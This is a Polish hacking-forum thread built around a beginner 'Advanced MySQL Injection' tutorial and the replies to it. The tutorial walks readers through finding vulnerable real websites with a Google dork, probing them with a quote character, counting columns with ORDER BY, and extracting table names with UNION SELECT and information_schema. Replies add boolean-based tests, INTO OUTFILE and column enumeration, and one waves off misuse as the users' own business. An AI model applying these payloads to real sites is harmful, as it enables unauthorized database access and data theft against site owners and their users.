[Tutorial]Advanced MySQL Injection Part 1

pacio123

Użytkownik
Dołączył
Lipiec 22, 2007
Posty
16
Witam postaram się obdarzyć was wiedzą MYSQL INJECTION.

No to jedziemy musimy zacząć od szukania frazy w google, ***.php?id=***
Wybierz coś chcesz, wiemy jedno jest wspólne news.php?
a w praktyce wygląda to tak: inurl:news.php?id=18

16knk9d.jpg


Ok, teraz zaczynamy otwieramy witrynę,

Aby sprawdzić, czy witryna jest podatna czy też nie, należy umieścić ' po numerze.

Jeśli jakiś tekst zniknie lub pojawi się błąd, wiemy że witryna jest podatna.

Przykład z: news.php?Id=18
2lo2mb7.jpg

Po wpisaniu: news.php?id=18'
2wocfnk.jpg



Dobrze więc mamy błąd. Oznacza to, że jest zagrożenie


Tak więc, musimy dowiedzieć się, jak wiele "kolumn" jest na miejscu, do tego dodajemy za "zamówienie 1-" na koniec.

Wygląda to tak: /news.php?id=18 order by 1--

n1wj69.jpg



Tekst ładuje się normalnie, tak musimy zwiększać liczby o 1 za każdym razem do błędu aż tekst zniknie.

9is3ua.jpg


Ok, więc się błąd w kolejności przez 13 --
Jeżeli zadalibyśmy "poprzez 12 -" tekst ładuje normalnie. Dlatego też witryna ma 12 kolumn.
2vv3q60.jpg


Dobrze teraz musimy w miejscu wyświetlanych kolumn dopisać union select dokładnie to będzie tak
"/news.php?id=-18 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12--" my już wiemy że to jest 12 ale do innych stron raczej tak nie będzie musicie wszystko badać sami
foj7fc.jpg


Teraz musimy sobie pomóc i uzyskać dane z bazy danych mysql poniżej prezentacja na zdjęciu
ja9af7.jpg


Ok, więc jest wersja 5. Jest to bardzo dobre dla nas, jak w wersji 5 spowodować wyświetlenie nazwy tabel, kolumn nazwiska, imiona i wiersz
group_concat(table_name)[/b]
+from+information_schema.tables+where+table_schema=database()--[/b]


Więc teraz mamy listę tabel z bazy danych.
16ap9ux.jpg


to na tyle dziękuję za uwagę myślę że pomogłem
 

Levy272

Użytkownik
Dołączył
Luty 25, 2009
Posty
171
Mam jedno pytanie co do tego tutka. Czy koniecznie musi wyrzucić błąd SQL, czy np. nie wyświetlanie się strony lub jej "rozjeżdżanie się" także oznacza podatność?

//EDIT

Mam jeszcze jeden problem. Próbóję z tą stroną z tutka, coś nie działa, a robię wszystko zgodnie z instrukcją. Znalazłem inną podatną stronę, ale do tego "order by XX--" dojechałem do 40 i nic... Więc co robię źle?

Błąd z podatnej stronki: "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1"

Więc co tu jest nie tak?
<
 

discovery44

Były Moderator
Dołączył
Sierpień 14, 2007
Posty
763
Witam.
Nie to oznacza, że masz problemy z łączem. Ja mam tak samo.

Pozdrawiam,
discovery

// 2posty do kasacji
 

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
no tutek jakich wiele w sieci ale opisuje co ma opsiywac

ja dodalbym na twoim miejscu informacje o wykorzystaniu ORDER BY do znajdowania ilosci kolumn

a tak pozatym to nie zawsze musi sie pokazywac blad mysql a strona moze byc podatna.
powiem wiecej w 70% przypadkow nie ma zadnego bledu.
tylko widac roznice w zachowaniu strony jesli dopiszemy AND 1=2-- a jesli dopiszemy OR 1=1--
 

pacio123

Użytkownik
Dołączył
Lipiec 22, 2007
Posty
16
<div class='quotetop'>CYTAT(grzonu @ 22.03.2009, 22:25) <{POST_SNAPBACK}></div>
no tutek jakich wiele w sieci ale opisuje co ma opsiywac

ja dodalbym na twoim miejscu informacje o wykorzystaniu ORDER BY do znajdowania ilosci kolumn

a tak pozatym to nie zawsze musi sie pokazywac blad mysql a strona moze byc podatna.
powiem wiecej w 70% przypadkow nie ma zadnego bledu.
tylko widac roznice w zachowaniu strony jesli dopiszemy AND 1=2-- a jesli dopiszemy OR 1=1--[/b]
grzonu masz rację ale najważniejsze jest że chyba się postaralem i napisałem go tutaj nie prawdasz ? i z tym or zamiast and też masz racje a bład mysql działa w 100% tylko jak powiedział niżej ktoś tam nie wiem że strony nie wyświetlają błedów w 70% i mogą nie działać też dla tego że zle odwołanie do kolumny napisaliście pozdrawiam
 

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
czlowieku zrozum

jesli strona inaczej sie zachowuje jesli ?id=1 AND 1=2-- a inaczej jestli ?id=1 OR 1=1-- to na 99% a jesli wpiszesz id=-1 albo id=1` to nie koniecznie musi pokazac blad.
Nie można wpisac zle ilosci kolumn jesli sie kozysta z ORDER BY wczesniej zeby to ustalil
nie ma wtedy textow "juz 20 sprawdzilem i nie chce mi sie dalej" a jest np. 50 tabel ... przez ORDER BY ustale to w gora 15sec a przez takie wpisywanie jeden po drugim to juz zalezy od predkosci pisania i netu
<
ale bedzie dlugo

//pozatym Advanced(w tytule) to znaczy ze jest to powyzej podstaw
smile.gif
 

Gondoller

Użytkownik
Dołączył
Luty 21, 2008
Posty
259
a ten zapewne jest kompilacją sinis+magne i cos od siebie xD albo czymś w ten deseń. zbędna papka tak prawdę mówiąc .

pacio, rada ode mnie - jeżeli chcesz się przydać, opisz coś czego jeszcze nie wiemy albo wiemy, ale nie za bardzo itp. czaisz?
 

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
pozatym kazdy ma google a takich tutkow sa tysiace.
Nie mowilbym nic(moze bym pochwalil) gdyby bylo wiecej na temat tego ataku bo naprawde jest do omowienia wiecej

ORDER BY
INTO OUTFILE
wyszukiwanie nazwe konkretnych kolumn w tabeli (select column_name from INFORMATION_SCHEMA.columns where table_name =char(.......)--
 

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
a moim zdaniem wiedza jest dla ludzi a to jak to wykorzystaja to ich sprawa, niebiescy ich znajda to sie naucza na nasteony raz.
A robienie tutoriala "po łebkach" mija się z celem bo takie podstawowe info to niedlugo na wikipedi bedzie. np. do tej pory to np. o INTO OUTFILE widzialem na polskich stronach tylko tutorial Kacpra.
 

RobertG

Użytkownik
Dołączył
Styczeń 3, 2007
Posty
391
IMHO brakuje info czym jest SQL, jak budowane są zapytania, czym jest to UNION SELECT etc, info czym jest MySQL, przykładu kodu w którym jest błąd, info o tym jak zabezpieczyć się przed tym w PHP'ie, jak to jest rozwiązane w framworkach.
 

politan

Użytkownik
Dołączył
Marzec 11, 2009
Posty
1
A nie sądzisz, że jeśli ktoś zabiera się za SQL Injection to już zna MySQL
<
??
 

RobertG

Użytkownik
Dołączył
Styczeń 3, 2007
Posty
391
@up ktoś może znać/używać np. postgresa zamiast MySQL. MySQL != SQL
 
Do góry Bottom